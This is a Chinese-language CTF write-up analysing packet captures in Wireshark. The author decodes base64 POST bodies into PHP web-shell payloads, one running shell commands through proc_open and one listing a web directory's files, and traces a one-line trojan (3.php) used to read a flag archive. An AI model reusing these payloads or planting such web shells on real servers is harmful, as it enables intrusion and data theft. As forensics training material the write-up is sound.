有很多的数据包。。。但是不是很多,我们可以慢慢分析,直到我们分析到了一个HTTP的请求时:
可以看到192.168.228.1对192.168.228.135发送了一个POST请求。但是这个请求却有点奇怪。。我们分组打开看看。
将其保存为txt文件后进行查看。
发现有很多的base64字符串。。
我们解码后可以得到
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$m=get_magic_quotes_gpc();$p='/bin/sh';$s='cd /var/www/html/;ls;echo [S];pwd;echo [E]';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo("X@Y");die();
简单的分析了一下,大约就是打来先列了一下目录。绕后打开一个文件并且读取到里面的内容。。。应该就是flag吧。。于是我们继续分析一下下面的数据包。。
在下一个HTTP包里面就发现了。。
这里面应该就是列出的目录了。。
在分析一下下面的数据包。。。
果然在下一个HTTP数据包里面就发现了Flag,这个应该就是所要打开的文件吧。。
打开数据包。
前三个包代表了10.211.55.61与192.168.1.145建立起一个TCP连接,后面一个POST的请求让我们很好奇…我们去看看。
得到了一段代码在。
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='C:\\wwwroot\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
分析了一下,作用是读取c:/wwwroot目录下所有文件、目录的名字、大小、权限、以及最后一次的修改时间。。
我们接着向下分析。。
有很多的相关信息,我们甚至发现了一个flag.tar.gz的文件。。
继续向下分析发现:
又发现了一个文件。。
我们具体的看一下内容。。
是用来读取3.php内容的。。
继续向下翻就看到了3.php的内容了。
可见3.php是一个一句话木马。
在向下分析:
发现竟然访问了3.php,这下我们就跟进去看看。。
内容就是读取flag.tar,gz文件内容的。。
那么下面的包应该就有返回的内容了。。
我们就继续的分析试试;
打开后:
不要着急,因为flag.tar.gz是压缩文件所以需要我们对他进行解压,wireshark自带这个功能。。